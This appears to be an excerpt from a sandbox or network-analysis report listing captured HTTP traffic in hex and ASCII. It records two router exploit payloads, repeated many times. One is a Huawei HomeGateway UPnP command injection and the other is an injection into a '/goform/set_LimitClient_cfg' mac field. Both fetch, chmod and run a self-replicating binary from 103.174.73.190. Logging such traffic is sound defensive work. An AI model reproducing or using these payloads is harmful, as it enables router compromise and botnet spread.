Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
